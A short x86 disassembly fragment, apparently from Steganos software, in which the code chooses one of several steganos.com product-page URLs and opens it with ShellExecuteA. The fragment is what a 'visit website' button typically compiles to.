push str.https:__steganos.com_safe
jmp 0x40c0aa
push str.https:__steganos.com_sss
jmp 0x40c0aa
push str.https:__steganos.com_spm
push str.open
push dword [ecx + 4]
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
xor eax, eax
ret 0x10